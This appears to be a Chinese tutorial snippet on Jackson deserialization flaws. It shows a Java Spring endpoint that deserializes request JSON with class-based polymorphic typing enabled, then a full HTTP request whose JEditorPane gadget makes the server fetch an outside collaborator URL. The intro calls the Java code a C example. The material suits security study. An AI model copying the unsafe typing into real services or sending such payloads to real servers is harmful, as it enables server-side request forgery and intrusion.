下面给出一个C的示例:

public class Jackson {

    static class AnotherBean {
        @JsonTypeInfo (use = JsonTypeInfo.Id.CLASS)
        public Object obj;
    }

    @RequestMapping(value = "/deserialize3", method = {RequestMethod.POST})
    @ResponseBody
    public static String deserialize3(@RequestBody String params) throws IOException {
        System.out.println(params);
        try {
            ObjectMapper objectMapper = new ObjectMapper();
            Object obj = objectMapper.readValue(params, AnotherBean.class);
            return obj.toString();
        }  catch (Exception e){
            e.printStackTrace();
            return e.toString();
        }
    }

相应的payload为:

POST /jackson/deserialize3 HTTP/1.1
Host: cqq.com:8080
Connection: close
Cookie: JSESSIONID=C48313A5CE14AE7A1C15696C03AE0893
Content-Type: application/json
Content-Length: 127

{"obj":{"@class":"javax.swing.JEditorPane","page":"http://ivh6gf9nkrbys3l03uppuzvv9mfg35.burpcollaborator.net:80/?a=1&b=2222"}}

参考

  • Jackson反序列化漏洞简介(一):Jackson基本的工作原理
  • Jackson反序列化漏洞简介(四): 防御和检测方式【系列完结】

你可能感兴趣的:(java,安全,Web)